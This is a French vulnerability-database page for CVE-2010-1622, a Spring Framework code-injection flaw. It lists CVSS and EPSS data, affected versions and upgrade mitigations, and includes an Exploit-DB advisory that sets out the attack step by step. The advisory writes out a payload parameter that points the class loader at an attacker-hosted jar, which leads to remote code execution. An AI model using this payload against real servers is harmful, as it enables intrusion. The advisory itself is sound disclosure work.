Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-94 |
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
6 |
|
AV:N/AC:M/Au:S/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 13918
Date de publication : 2010-06-17 22h00 +00:00
Auteur : Meder Kydyraliev
EDB Vérifié : Yes
CVE-2010-1622: Spring Framework execution of arbitrary code
Severity: Critical
Vendor:
SpringSource, a division of VMware
Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)
Earlier versions may also be affected
Description:
The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This
mechanism allows an attacker to modify the properties of the class loader used to load the object (via
'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs
used by the class loader to point to locations controlled by the attacker.
Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:
- META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not
classes;
- tag files in META-INF/tags/ containing tag definition (arbitrary Java code).
2. Attacker then submits HTTP request to a form controller with the following HTTP parameter:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's
repositoryURLs property will be overwritten with attacker's URL.
3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag
libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the
jar file is performed by the URL class).
Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01
Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team
References:
[1] http://www.springsource.com/security/spring-framework
Products Mentioned
Configuraton 0
Oracle>>Fusion_middleware >> Version 7.6.2
Oracle>>Fusion_middleware >> Version 11.1.1.6.1
Oracle>>Fusion_middleware >> Version 11.1.1.8.0
Configuraton 0
Springsource>>Spring_framework >> Version 2.5.0
Springsource>>Spring_framework >> Version 2.5.1
Springsource>>Spring_framework >> Version 2.5.2
Springsource>>Spring_framework >> Version 2.5.3
Springsource>>Spring_framework >> Version 2.5.4
Springsource>>Spring_framework >> Version 2.5.5
Springsource>>Spring_framework >> Version 2.5.6
Springsource>>Spring_framework >> Version 2.5.7
Springsource>>Spring_framework >> Version 3.0.0
Springsource>>Spring_framework >> Version 3.0.1
Springsource>>Spring_framework >> Version 3.0.2
Références